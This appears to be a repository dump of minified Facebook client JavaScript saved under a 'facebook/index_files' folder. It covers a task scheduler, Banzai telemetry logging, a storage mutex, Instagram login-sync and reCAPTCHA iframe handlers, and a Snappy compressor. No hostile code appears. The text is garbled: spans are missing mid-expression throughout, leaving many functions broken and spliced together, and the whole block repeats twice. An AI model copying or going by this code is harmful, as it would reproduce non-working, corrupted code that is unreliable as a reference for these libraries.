4:c=d+1e4;break;default:c=d+5e3}a={callback:b,priorityLevel:a,expirationTime:c,next:null,previous:null};if(null===F)F=a.next=a.previous=a,N();else{b=null;d=F;do{if(d.expirationTime>c){b=d;break}d=d.next}while(d!==F);null===b?b=F:b===F&&(F=a,N());c=b.previous;c.next=b.previous=a;a.next=b;a.previous=c}return a};f.unstable_cancelCallback=function(a){__p&&__p();var b=a.next;if(null!==b){if(b===a)F=null;else{a===F&&(F=b);var c=a.previous;c.next=b;b.previous=c}a.next=a.previous=null}};f.unstable_wrapCallback=function(a){var b=I;return function(){var c=I,d=J;I=b;J=f.unstable_now();try{return a.apply(this,arguments)}catch(a){throw N(),a}finally{I=c,J=d}}};f.unstable_getCurrentPriorityLevel=function(){return I};f.unstable_shouldYield=function(){return!G&&(null!==F&&F.expirationTime=4){var a=g.indexOf(h);a>=0&&g.splice(a,1);try{a=h.status}catch(b){a=0}a==200?(c&&c(),e||k.inform(b("BanzaiConsts").OK)):(d&&d(a),e||k.inform(b("BanzaiConsts").ERROR))}};g.push(h);h.send(k.prepForTransit(a))},addRequestAuthData:function(a){return a},prepForTransit:function(a){var c=b("getAsyncParams")(j);c.q=JSON.stringify(a);c.ts=Date.now();c.ph=b("SiteData").push_phase;return b("QueryString").encode(c)},prepWadForTransit:function(a){if(a.snappy==null||a.snappy===!0){var c=Date.now(),d=JSON.stringify(a.posts),e=b("cr:695720").compressStringToSnappy(d);e!=null&&e.length=Date.now()?a[0]:null};c.$2=function(a){if(!j())return;a=Date.now()+(a||1e4);b("WebStorage").setItemGuarded(j(),"mutex_"+this.name,i+":"+a)};c.hasLock=function(){return this.$1()==i};c.lock=function(a,c,d){var e=this;this.$3&&b("clearTimeout")(this.$3);i==(this.$1()||i)&&this.$2(d);this.$3=b("setTimeoutAcrossTransitions")(function(){e.$3=null;var b=e.hasLock()?a:c;b&&b(e)},0)};c.unlock=function(){this.$3&&b("clearTimeout")(this.$3),j()&&this.hasLock()&&j().removeItem("mutex_"+this.name)};return a}();e.exports=a}),null); 10 | __d("BanzaiOld",["BanzaiAdapter","NavigationMetrics","BanzaiConsts","BanzaiLazyQueue","BanzaiStreamPayloads","CurrentUser","ErrorUtils","ExecutionEnvironment","FBJSON","FBLogger","SetIdleTimeoutAcrossTransitions","TimeSlice","Visibility","WebStorage","emptyFunction","isInIframe","lowerFacebookDomain","pageID","performanceAbsoluteNow","WebStorageMutex"],(function(a,b,c,d,e,f){__p&&__p();var g=6e4,h=1e3,i=b("BanzaiAdapter"),j=b("isInIframe")(),k="bz:",l="ods:banzai",m="send_via_beacon_failure",n=0,o=1,p=2,q=null,r,s,t=[],u=null,v=[];function w(a){return a[2]>=b("performanceAbsoluteNow")()-((a=i.config.EXPIRY)!=null?a:K.EXPIRY)}function x(a,b){var c=a.__meta;c.status=n;a[3]=(a[3]||0)+1;c.retry===!1&&b>=400&&b<600&&t.push(a)}function y(a,c,d,e){a=[a,c,d,0];a.__meta={retry:e===!0,pageID:b("pageID"),userID:b("CurrentUser").getID(),status:n};return a}function z(){__p&&__p();var a=[];v.forEach(function(c){var d=c.cb();d.forEach(function(d){var e=c.route;if(e!=null||e!=""){e=y(e,d,b("performanceAbsoluteNow")());e.__meta.onSuccess=c.onSuccess;e.__meta.onFailure=c.onFailure;a.push(e)}})});v=[];var c=[],d=[];E(c,d,!0,a);if(c.length>0){c[0].send_method="beacon";c.map(i.prepWadForTransit);c=new Blob([i.addRequestAuthData(i.prepForTransit(c))],{type:"application/x-www-form-urlencoded"});c=navigator.sendBeacon(K.adapter.endpoint,c);c?d.forEach(function(a){a=a.__meta;a!=null&&a.onSuccess!=null&&a.onSuccess()}):d.forEach(function(a){a=a.__meta;a!=null&&a.onFailure!=null&&a.onFailure()})}}function A(a){__p&&__p();var c=b("performanceAbsoluteNow")()+a;if(s==null||c=p||!w(d))return!1;if(f.status>=o)return!0;var g=f.compress!=null?f.compress:!0,h=f.pageID+f.userID+(g?"compress":""),i=e[h];i||(i={user:f.userID,page_id:f.pageID,posts:[],snappy:g},e[h]=i,a.push(i));f.status=o;i.posts.push(d);b.push(d);return c&&!!f.retry})}var F,G,H=!1;function I(){H||(H=!0,G=b("WebStorage").getLocalStorage());return G}function J(){__p&&__p();F||(!j?F={store:function(){var a=I();if(a==null||t.length<=0)return;var c=t.map(function(a){return[a[0],a[1],a[2],a[3]||0,a.__meta]});t=[];b("WebStorage").setItemGuarded(a,k+b("pageID")+"."+b("performanceAbsoluteNow")(),b("FBJSON").stringify(c))},restore:function(){__p&&__p();var a=I();if(!a)return;var c=b("WebStorageMutex");new c("banzai").lock(function(c){__p&&__p();var d=[];for(var e=0;e=b("BanzaiConsts").STORAGE_FLUSH_INTERVAL;c&&K._restore(!1);(c||!q)&&(q=b("performanceAbsoluteNow")(),b("WebStorage").setItemGuarded(a,b("BanzaiConsts").LAST_STORAGE_FLUSH,q.toString()))}}}:F={store:b("emptyFunction"),restore:b("emptyFunction"),flush:b("emptyFunction")})}var K={adapter:i,SEND:"Banzai:SEND",OK:"Banzai:OK",ERROR:"Banzai:ERROR",SHUTDOWN:"Banzai:SHUTDOWN",VITAL_WAIT:h,BASIC_WAIT:g,EXPIRY:30*6e4,VITAL:{delay:(c=b("BanzaiAdapter").config.MIN_WAIT)!=null?c:h},BASIC:{delay:(d=b("BanzaiAdapter").config.MAX_WAIT)!=null?d:g},isEnabled:function(a){return!!(i.config.gks&&i.config.gks[a])},post:function(c,d,e){__p&&__p();var f;(c==null||c==="")&&b("FBLogger")("banzai").mustfix("Banzai.post called without specifying a route");var h=e==null?void 0:e.retry;if(i.config.disabled===!0)return;if(!b("ExecutionEnvironment").canUseDOM)return;var k=i.config.blacklist;if(k&&(k.indexOf&&(typeof k.indexOf==="function"&&k.indexOf(c)!=-1)))return;if(j&&b("lowerFacebookDomain").isValidDocumentDomain()){var l;try{l=a.top.require("Banzai")}catch(a){l=null}if(l){l.post.apply(l,arguments);return}}var m=y(c,d,b("performanceAbsoluteNow")(),h),n=m.__meta;e!=null&&e.callback!=null&&(n.callback=e.callback);e!=null&&e.compress!=null&&(n.compress=e.compress);if(e!=null&&e.signal!=null){n.status=o;var q=[{user:b("CurrentUser").getID(),page_id:b("pageID"),posts:[m],trigger:c}];i.send(q,function(){n.status=p,n.callback&&n.callback()},function(a){x(m,a)},!0);if(h==null)return}t.push(m);var r=(f=e==null?void 0:e.delay)!=null?f:g;(A(r)||u==null||u==="")&&(u=c);var s=b("BanzaiLazyQueue").flushQueue();s.forEach(function(a){return K.post.apply(K,a)})},registerToSendWithBeacon:function(a,c,d,e){if(!(navigator&&navigator.sendBeacon&&i.isOkToSendViaBeacon()))return!1;if(!a){b("FBLogger")("banzai").mustfix("Banzai.registerToSendWithBeacon called without specifying a route");return!1}v.push({cb:c,route:a,onSuccess:d,onFailure:e});return!0},flush:function(a,c){b("SetIdleTimeoutAcrossTransitions").clear(r),C(a,c)},subscribe:i.subscribe,canUseNavigatorBeacon:function(){return navigator&&navigator.sendBeacon?i.isOkToSendViaBeacon():!1},_schedule:A,_store:function(a){J(),b("ErrorUtils").applyWithGuard(F.store,F)},_restore:function(a){J();b("ErrorUtils").applyWithGuard(F.restore,F);A((a=i.config.RESTORE_WAIT)!=null?a:h)},_testState:function(){return{postBuffer:t,triggerRoute:u}},_unload:function(){b("BanzaiStreamPayloads").unload(K.post),navigator&&navigator.sendBeacon&&i.isOkToSendViaBeacon()&&z(),i.cleanup(),i.inform(K.SHUTDOWN),t.length>0&&((!i.useBeacon||!D())&&(J(),b("ErrorUtils").applyWithGuard(F.store,F)))},_initialize:function(){b("ExecutionEnvironment").canUseDOM&&(i.useBeacon&&b("Visibility").isSupported()?(b("Visibility").addListener(b("Visibility").HIDDEN,function(){t.length>0&&(D()||(J(),b("ErrorUtils").applyWithGuard(F.store,F)))}),(K.isEnabled("enable_client_logging_clear_on_visible")||K.isEnabled("error_impact_test"))&&b("Visibility").addListener(b("Visibility").VISIBLE,function(){D()||b("ErrorUtils").applyWithGuard(F.restore,F)})):i.setHooks(K),i.setUnloadHook(K),b("NavigationMetrics").addListener(b("NavigationMetrics").Events.NAVIGATION_DONE,function(a,c){if(c.pageType!=="normal")return;K._restore();b("NavigationMetrics").removeCurrentListener()}))}};K._initialize();e.exports=K}),null); 11 | __d("BanzaiOriginal",["requireCond","cr:682174"],(function(a,b,c,d,e,f){e.exports=b("cr:682174")}),null); 12 | __d("RecaptchaV2IFrameContainer",["RecaptchaV2Constants"],(function(a,b,c,d,e,f){__p&&__p();var g=b("RecaptchaV2Constants").RecaptchaV2IFrameMessageTypes,h=["facebook.com","messenger.com","workplace.com"],i=16;e.exports={init:function(){__p&&__p();var a=0,b=null;window.successCallback=c;window.parent.postMessage({type:g.GET_ORIGIN},"*");window.setInterval(d,250);function c(a){j({type:g.CAPTCHA_SOLVED,token:a})}function d(){__p&&__p();var b=document.getElementsByTagName("iframe"),c=0,d=0;for(var e=0;e>>b}function g(a,b){return a[b]+(a[b+1]<<8)+(a[b+2]<<16)+(a[b+3]<<24)}function h(a,b,c){return a[b]===a[c]&&a[b+1]===a[c+1]&&a[b+2]===a[c+2]&&a[b+3]===a[c+3]}function i(a,b,c,d,e){var f;for(f=0;e>f;f++)c[d+f]=a[b+f]}function j(a,b,c,d,e){return 60>=c?(d[e]=c-1<<2,e+=1):256>c?(d[e]=240,d[e+1]=c-1,e+=2):(d[e]=244,d[e+1]=c-1&255,d[e+2]=c-1>>>8,e+=3),i(a,b,d,e,c),e+c}function k(a,b,c,d){return 12>d&&2048>c?(a[b]=1+(d-4<<2)+(c>>>8<<5),a[b+1]=255&c,b+2):(a[b]=2+(d-1<<2),a[b+1]=255&c,a[b+2]=c>>>8,b+3)}function l(a,b,c,d){for(;d>=68;)b=k(a,b,c,64),d-=64;return d>64&&(b=k(a,b,c,60),d-=60),k(a,b,c,d)}function m(a,b,c,e,f){__p&&__p();for(var i=1;c>=1<=i;)i+=1;i-=1;var k=32-i;"undefined"==typeof q[i]&&(q[i]=new Uint16Array(1<=x)for(c=m-x,b+=1,x=d(g(a,b),k);w;){s=32,o=b;do{if(b=o,n=x,t=s>>>5,s+=1,o=b+t,b>c){w=!1;break}x=d(g(a,o),k),r=u+i[n],i[n]=b-u}while(!h(a,b,r));if(!w)break;f=j(a,v,b-v,e,f);do{for(t=b,n=4;m>b+n&&a[b+n]===a[r+n];)n+=1;if(b+=n,o=t-r,f=l(e,f,o,n),v=b,b>=c){w=!1;break}s=d(g(a,b-1),k),i[s]=b-1-u,t=d(g(a,b),k),r=u+i[t],i[t]=b-u}while(h(a,b,r));if(!w)break;b+=1,x=d(g(a,b),k)}return m>v&&(f=j(a,v,m-v,e,f)),f}function n(a,b,c){do b[c]=127&a,a>>>=7,a>0&&(b[c]+=128),c+=1;while(a>0);return c}function c(a){this.array=a}a=16;var o=1<e;)b=Math.min(d-e,o),f=m(c,e,b,a,f),e+=b;return f},b.SnappyCompressor=c},{}],4:[function(c,a,b){"use strict";__p&&__p();function d(a,b,c,d,e){var f;for(f=0;e>f;f++)c[d+f]=a[b+f]}function g(a,b,c,d){var e;for(e=0;d>e;e++)a[b+e]=a[b-c+e]}function c(a){this.array=a,this.pos=0}var h=[0,255,65535,16777215,4294967295];c.prototype.readUncompressedLength=function(){for(var a,b,c=0,d=0;32>d&&this.pos>>d!==b)return-1;if(c|=b<a)return c;d+=7}return-1},c.prototype.uncompressToBuffer=function(a){__p&&__p();for(var b,c,e,f,i=this.array,j=i.length,k=this.pos,l=0;k>>2)+1,c>60){if(k+3>=j)return!1;e=c-60,c=i[k]+(i[k+1]<<8)+(i[k+2]<<16)+(i[k+3]<<24),c=(c&h[e])+1,k+=e}if(k+c>j)return!1;d(i,k,a,l,c),k+=c,l+=c}else{switch(3&b){case 1:c=(b>>>2&7)+4,f=i[k]+(b>>>5<<8),k+=1;break;case 2:if(k+1>=j)return!1;c=(b>>>2)+1,f=i[k]+(i[k+1]<<8),k+=2;break;case 3:if(k+3>=j)return!1;c=(b>>>2)+1,f=i[k]+(i[k+1]<<8)+(i[k+2]<<16)+(i[k+3]<<24),k+=4}if(0===f||f>l)return!1;g(a,l,f,c),l+=c}return!0},b.SnappyDecompressor=c},{}]},{},[1]),e.exports=SnappyJS}),null); 18 | __d("SnappyCompressUtil",["SnappyCompress"],(function(a,b,c,d,e,f){"use strict";__p&&__p();var g={compressUint8ArrayToSnappy:function(a){__p&&__p();if(a==null)return null;var c=null;try{c=b("SnappyCompress").compress(a)}catch(a){return null}a="";for(var d=0;d127)return null;b[c]=d}return g.compressUint8ArrayToSnappy(b)}};e.exports=g}),null); 19 | -------------------------------------------------------------------------------- /facebook/index_files/Zv2K34UsWYP.js: -------------------------------------------------------------------------------- 1 | if (self.CavalryLogger) { CavalryLogger.start_js(["AuOuY"]); } 2 | 3 | __d("XInstagramLoginSyncUpdateController",["XController"],(function(a,b,c,d,e,f){e.exports=b("XController").create("/instagram/login_sync/update/",{})}),null); 4 | __d("InstagramLoginSync",["Event","XAsyncRequest","XInstagramLoginSyncUpdateController"],(function(a,b,c,d,e,f){"use strict";__p&&__p();var g="https://www.instagram.com",h={ready:"ig_iframe_ready",success:"ig_iframe_success",error:"ig_iframe_error"};a={init:function(){__p&&__p();window.parent.postMessage({eventName:h.ready},g+"/'"),b("Event").listen(window,"message",function(a){__p&&__p();if(a.origin!==g)return;var c=b("XInstagramLoginSyncUpdateController").getURIBuilder().getURI(),d=a.data.data;if(d!=null){var e=function(a,b,c){b=b.errorDescription;c={eventName:h[c],errorDescription:b};a.source.postMessage(c,a.origin)};new(b("XAsyncRequest"))().setURI(c).setMethod("POST").setData({encrypted_data:d}).setHandler(function(b){return e(a,b,"success")}).setErrorHandler(function(b){return e(a,b,"error")}).send()}})}};e.exports=a}),null); 5 | __d("BanzaiConsts",[],(function(a,b,c,d,e,f){a={SEND:"Banzai:SEND",OK:"Banzai:OK",ERROR:"Banzai:ERROR",SHUTDOWN:"Banzai:SHUTDOWN",VITAL_WAIT:1e3,BASIC_WAIT:6e4,EXPIRY:30*6e4,LAST_STORAGE_FLUSH:"banzai:last_storage_flush",STORAGE_FLUSH_INTERVAL:12*60*6e4};e.exports=a}),null); 6 | __d("BanzaiAdapter",["Arbiter","BanzaiConsts","CurrentUser","QueryString","Run","SiteData","URI","UserAgent","ZeroRewrites","getAsyncParams","BanzaiConfig","requireCond","cr:695720"],(function(a,b,c,d,e,f){__p&&__p();var g=[],h=new(b("Arbiter"))(),useBeacon:!0,getUserID:function(){return b("CurrentUser").getID()},inform:function(a){h.inform(a)},subscribe:function(a,b){return h.subscribe(a,b)},cleanup:function(){var a=g;g=[];a.forEach(function(a){a.readyState<4&&a.abort()})},readyToSend:function(){return b("UserAgent").isBrowser("IE <= 8")||navigator.onLine},send:function(a,c,d,e){__p&&__p();var f=b("ZeroRewrites").rewriteURI(new(b("URI"))(i)),h=b("ZeroRewrites").getTransportBuilderForURI(f)();h.open(j,f.toString(),!0);h.setRequestHeader("Content-Type","application/x-www-form-urlencoded");h.onreadystatechange=function(){if(h.readyState>=4){var a=g.indexOf(h);a>=0&&g.splice(a,1);try{a=h.status}catch(b){a=0}a==200?(c&&c(),e||k.inform(b("BanzaiConsts").OK)):(d&&d(a),e||k.inform(b("BanzaiConsts").ERROR))}};g.push(h);h.send(k.prepForTransit(a))},addRequestAuthData:function(a){return a},prepForTransit:function(a){var c=b("getAsyncParams")(j);c.q=JSON.stringify(a);c.ts=Date.now();c.ph=b("SiteData").push_phase;return b("QueryString").encode(c)},prepWadForTransit:function(a){if(a.snappy==null||a.snappy===!0){var c=Date.now(),d=JSON.stringify(a.posts),e=b("cr:695720").compressStringToSnappy(d);e!=null&&e.length=Date.now()?a[0]:null};c.$2=function(a){if(!j())return;a=Date.now()+(a||1e4);b("WebStorage").setItemGuarded(j(),"mutex_"+this.name,i+":"+a)};c.hasLock=function(){return this.$1()==i};c.lock=function(a,c,d){var e=this;this.$3&&b("clearTimeout")(this.$3);i==(this.$1()||i)&&this.$2(d);this.$3=b("setTimeoutAcrossTransitions")(function(){e.$3=null;var b=e.hasLock()?a:c;b&&b(e)},0)};c.unlock=function(){this.$3&&b("clearTimeout")(this.$3),j()&&this.hasLock()&&j().removeItem("mutex_"+this.name)};return a}();e.exports=a}),null); 10 | __d("BanzaiOld",["BanzaiAdapter","NavigationMetrics","BanzaiConsts","BanzaiLazyQueue","BanzaiStreamPayloads","CurrentUser","ErrorUtils","ExecutionEnvironment","FBJSON","FBLogger","SetIdleTimeoutAcrossTransitions","TimeSlice","Visibility","WebStorage","emptyFunction","isInIframe","lowerFacebookDomain","pageID","performanceAbsoluteNow","WebStorageMutex"],(function(a,b,c,d,e,f){__p&&__p();var g=6e4,h=1e3,i=b("BanzaiAdapter"),j=b("isInIframe")(),k="bz:",l="ods:banzai",m="send_via_beacon_failure",n=0,o=1,p=2,q=null,r,s,t=[],u=null,v=[];function w(a){return a[2]>=b("performanceAbsoluteNow")()-((a=i.config.EXPIRY)!=null?a:K.EXPIRY)}function x(a,b){var c=a.__meta;c.status=n;a[3]=(a[3]||0)+1;c.retry===!1&&b>=400&&b<600&&t.push(a)}function y(a,c,d,e){a=[a,c,d,0];a.__meta={retry:e===!0,pageID:b("pageID"),userID:b("CurrentUser").getID(),status:n};return a}function z(){__p&&__p();var a=[];v.forEach(function(c){var d=c.cb();d.forEach(function(d){var e=c.route;if(e!=null||e!=""){e=y(e,d,b("performanceAbsoluteNow")());e.__meta.onSuccess=c.onSuccess;e.__meta.onFailure=c.onFailure;a.push(e)}})});v=[];var c=[],d=[];E(c,d,!0,a);if(c.length>0){c[0].send_method="beacon";c.map(i.prepWadForTransit);c=new Blob([i.addRequestAuthData(i.prepForTransit(c))],{type:"application/x-www-form-urlencoded"});c=navigator.sendBeacon(K.adapter.endpoint,c);c?d.forEach(function(a){a=a.__meta;a!=null&&a.onSuccess!=null&&a.onSuccess()}):d.forEach(function(a){a=a.__meta;a!=null&&a.onFailure!=null&&a.onFailure()})}}function A(a){__p&&__p();var c=b("performanceAbsoluteNow")()+a;if(s==null||c=p||!w(d))return!1;if(f.status>=o)return!0;var g=f.compress!=null?f.compress:!0,h=f.pageID+f.userID+(g?"compress":""),i=e[h];i||(i={user:f.userID,page_id:f.pageID,posts:[],snappy:g},e[h]=i,a.push(i));f.status=o;i.posts.push(d);b.push(d);return c&&!!f.retry})}var F,G,H=!1;function I(){H||(H=!0,G=b("WebStorage").getLocalStorage());return G}function J(){__p&&__p();F||(!j?F={store:function(){var a=I();if(a==null||t.length<=0)return;var c=t.map(function(a){return[a[0],a[1],a[2],a[3]||0,a.__meta]});t=[];b("WebStorage").setItemGuarded(a,k+b("pageID")+"."+b("performanceAbsoluteNow")(),b("FBJSON").stringify(c))},restore:function(){__p&&__p();var a=I();if(!a)return;var c=b("WebStorageMutex");new c("banzai").lock(function(c){__p&&__p();var d=[];for(var e=0;e=b("BanzaiConsts").STORAGE_FLUSH_INTERVAL;c&&K._restore(!1);(c||!q)&&(q=b("performanceAbsoluteNow")(),b("WebStorage").setItemGuarded(a,b("BanzaiConsts").LAST_STORAGE_FLUSH,q.toString()))}}}:F={store:b("emptyFunction"),restore:b("emptyFunction"),flush:b("emptyFunction")})}var K={adapter:i,SEND:"Banzai:SEND",OK:"Banzai:OK",ERROR:"Banzai:ERROR",SHUTDOWN:"Banzai:SHUTDOWN",VITAL_WAIT:h,BASIC_WAIT:g,EXPIRY:30*6e4,VITAL:{delay:(c=b("BanzaiAdapter").config.MIN_WAIT)!=null?c:h},BASIC:{delay:(d=b("BanzaiAdapter").config.MAX_WAIT)!=null?d:g},isEnabled:function(a){return!!(i.config.gks&&i.config.gks[a])},post:function(c,d,e){__p&&__p();var f;(c==null||c==="")&&b("FBLogger")("banzai").mustfix("Banzai.post called without specifying a route");var h=e==null?void 0:e.retry;if(i.config.disabled===!0)return;if(!b("ExecutionEnvironment").canUseDOM)return;var k=i.config.blacklist;if(k&&(k.indexOf&&(typeof k.indexOf==="function"&&k.indexOf(c)!=-1)))return;if(j&&b("lowerFacebookDomain").isValidDocumentDomain()){var l;try{l=a.top.require("Banzai")}catch(a){l=null}if(l){l.post.apply(l,arguments);return}}var m=y(c,d,b("performanceAbsoluteNow")(),h),n=m.__meta;e!=null&&e.callback!=null&&(n.callback=e.callback);e!=null&&e.compress!=null&&(n.compress=e.compress);if(e!=null&&e.signal!=null){n.status=o;var q=[{user:b("CurrentUser").getID(),page_id:b("pageID"),posts:[m],trigger:c}];i.send(q,function(){n.status=p,n.callback&&n.callback()},function(a){x(m,a)},!0);if(h==null)return}t.push(m);var r=(f=e==null?void 0:e.delay)!=null?f:g;(A(r)||u==null||u==="")&&(u=c);var s=b("BanzaiLazyQueue").flushQueue();s.forEach(function(a){return K.post.apply(K,a)})},registerToSendWithBeacon:function(a,c,d,e){if(!(navigator&&navigator.sendBeacon&&i.isOkToSendViaBeacon()))return!1;if(!a){b("FBLogger")("banzai").mustfix("Banzai.registerToSendWithBeacon called without specifying a route");return!1}v.push({cb:c,route:a,onSuccess:d,onFailure:e});return!0},flush:function(a,c){b("SetIdleTimeoutAcrossTransitions").clear(r),C(a,c)},subscribe:i.subscribe,canUseNavigatorBeacon:function(){return navigator&&navigator.sendBeacon?i.isOkToSendViaBeacon():!1},_schedule:A,_store:function(a){J(),b("ErrorUtils").applyWithGuard(F.store,F)},_restore:function(a){J();b("ErrorUtils").applyWithGuard(F.restore,F);A((a=i.config.RESTORE_WAIT)!=null?a:h)},_testState:function(){return{postBuffer:t,triggerRoute:u}},_unload:function(){b("BanzaiStreamPayloads").unload(K.post),navigator&&navigator.sendBeacon&&i.isOkToSendViaBeacon()&&z(),i.cleanup(),i.inform(K.SHUTDOWN),t.length>0&&((!i.useBeacon||!D())&&(J(),b("ErrorUtils").applyWithGuard(F.store,F)))},_initialize:function(){b("ExecutionEnvironment").canUseDOM&&(i.useBeacon&&b("Visibility").isSupported()?(b("Visibility").addListener(b("Visibility").HIDDEN,function(){t.length>0&&(D()||(J(),b("ErrorUtils").applyWithGuard(F.store,F)))}),(K.isEnabled("enable_client_logging_clear_on_visible")||K.isEnabled("error_impact_test"))&&b("Visibility").addListener(b("Visibility").VISIBLE,function(){D()||b("ErrorUtils").applyWithGuard(F.restore,F)})):i.setHooks(K),i.setUnloadHook(K),b("NavigationMetrics").addListener(b("NavigationMetrics").Events.NAVIGATION_DONE,function(a,c){if(c.pageType!=="normal")return;K._restore();b("NavigationMetrics").removeCurrentListener()}))}};K._initialize();e.exports=K}),null); 11 | __d("BanzaiOriginal",["requireCond","cr:682174"],(function(a,b,c,d,e,f){e.exports=b("cr:682174")}),null); 12 | __d("RecaptchaV2IFrameContainer",["RecaptchaV2Constants"],(function(a,b,c,d,e,f){__p&&__p();var g=b("RecaptchaV2Constants").RecaptchaV2IFrameMessageTypes,h=["facebook.com","messenger.com","workplace.com"],i=16;e.exports={init:function(){__p&&__p();var a=0,b=null;window.successCallback=c;window.parent.postMessage({type:g.GET_ORIGIN},"*");window.setInterval(d,250);function c(a){j({type:g.CAPTCHA_SOLVED,token:a})}function d(){__p&&__p();var b=document.getElementsByTagName("iframe"),c=0,d=0;for(var e=0;e>>b}function g(a,b){return a[b]+(a[b+1]<<8)+(a[b+2]<<16)+(a[b+3]<<24)}function h(a,b,c){return a[b]===a[c]&&a[b+1]===a[c+1]&&a[b+2]===a[c+2]&&a[b+3]===a[c+3]}function i(a,b,c,d,e){var f;for(f=0;e>f;f++)c[d+f]=a[b+f]}function j(a,b,c,d,e){return 60>=c?(d[e]=c-1<<2,e+=1):256>c?(d[e]=240,d[e+1]=c-1,e+=2):(d[e]=244,d[e+1]=c-1&255,d[e+2]=c-1>>>8,e+=3),i(a,b,d,e,c),e+c}function k(a,b,c,d){return 12>d&&2048>c?(a[b]=1+(d-4<<2)+(c>>>8<<5),a[b+1]=255&c,b+2):(a[b]=2+(d-1<<2),a[b+1]=255&c,a[b+2]=c>>>8,b+3)}function l(a,b,c,d){for(;d>=68;)b=k(a,b,c,64),d-=64;return d>64&&(b=k(a,b,c,60),d-=60),k(a,b,c,d)}function m(a,b,c,e,f){__p&&__p();for(var i=1;c>=1<=i;)i+=1;i-=1;var k=32-i;"undefined"==typeof q[i]&&(q[i]=new Uint16Array(1<=x)for(c=m-x,b+=1,x=d(g(a,b),k);w;){s=32,o=b;do{if(b=o,n=x,t=s>>>5,s+=1,o=b+t,b>c){w=!1;break}x=d(g(a,o),k),r=u+i[n],i[n]=b-u}while(!h(a,b,r));if(!w)break;f=j(a,v,b-v,e,f);do{for(t=b,n=4;m>b+n&&a[b+n]===a[r+n];)n+=1;if(b+=n,o=t-r,f=l(e,f,o,n),v=b,b>=c){w=!1;break}s=d(g(a,b-1),k),i[s]=b-1-u,t=d(g(a,b),k),r=u+i[t],i[t]=b-u}while(h(a,b,r));if(!w)break;b+=1,x=d(g(a,b),k)}return m>v&&(f=j(a,v,m-v,e,f)),f}function n(a,b,c){do b[c]=127&a,a>>>=7,a>0&&(b[c]+=128),c+=1;while(a>0);return c}function c(a){this.array=a}a=16;var o=1<e;)b=Math.min(d-e,o),f=m(c,e,b,a,f),e+=b;return f},b.SnappyCompressor=c},{}],4:[function(c,a,b){"use strict";__p&&__p();function d(a,b,c,d,e){var f;for(f=0;e>f;f++)c[d+f]=a[b+f]}function g(a,b,c,d){var e;for(e=0;d>e;e++)a[b+e]=a[b-c+e]}function c(a){this.array=a,this.pos=0}var h=[0,255,65535,16777215,4294967295];c.prototype.readUncompressedLength=function(){for(var a,b,c=0,d=0;32>d&&this.pos>>d!==b)return-1;if(c|=b<a)return c;d+=7}return-1},c.prototype.uncompressToBuffer=function(a){__p&&__p();for(var b,c,e,f,i=this.array,j=i.length,k=this.pos,l=0;k>>2)+1,c>60){if(k+3>=j)return!1;e=c-60,c=i[k]+(i[k+1]<<8)+(i[k+2]<<16)+(i[k+3]<<24),c=(c&h[e])+1,k+=e}if(k+c>j)return!1;d(i,k,a,l,c),k+=c,l+=c}else{switch(3&b){case 1:c=(b>>>2&7)+4,f=i[k]+(b>>>5<<8),k+=1;break;case 2:if(k+1>=j)return!1;c=(b>>>2)+1,f=i[k]+(i[k+1]<<8),k+=2;break;case 3:if(k+3>=j)return!1;c=(b>>>2)+1,f=i[k]+(i[k+1]<<8)+(i[k+2]<<16)+(i[k+3]<<24),k+=4}if(0===f||f>l)return!1;g(a,l,f,c),l+=c}return!0},b.SnappyDecompressor=c},{}]},{},[1]),e.exports=SnappyJS}),null); 18 | __d("SnappyCompressUtil",["SnappyCompress"],(function(a,b,c,d,e,f){"use strict";__p&&__p();var g={compressUint8ArrayToSnappy:function(a){__p&&__p();if(a==null)return null;var c=null;try{c=b("SnappyCompress").compress(a)}catch(a){return null}a="";for(var d=0;d127)return null;b[c]=d}return g.compressUint8ArrayToSnappy(b)}};e.exports=g}),null); 19 | --------------------------------------------------------------------------------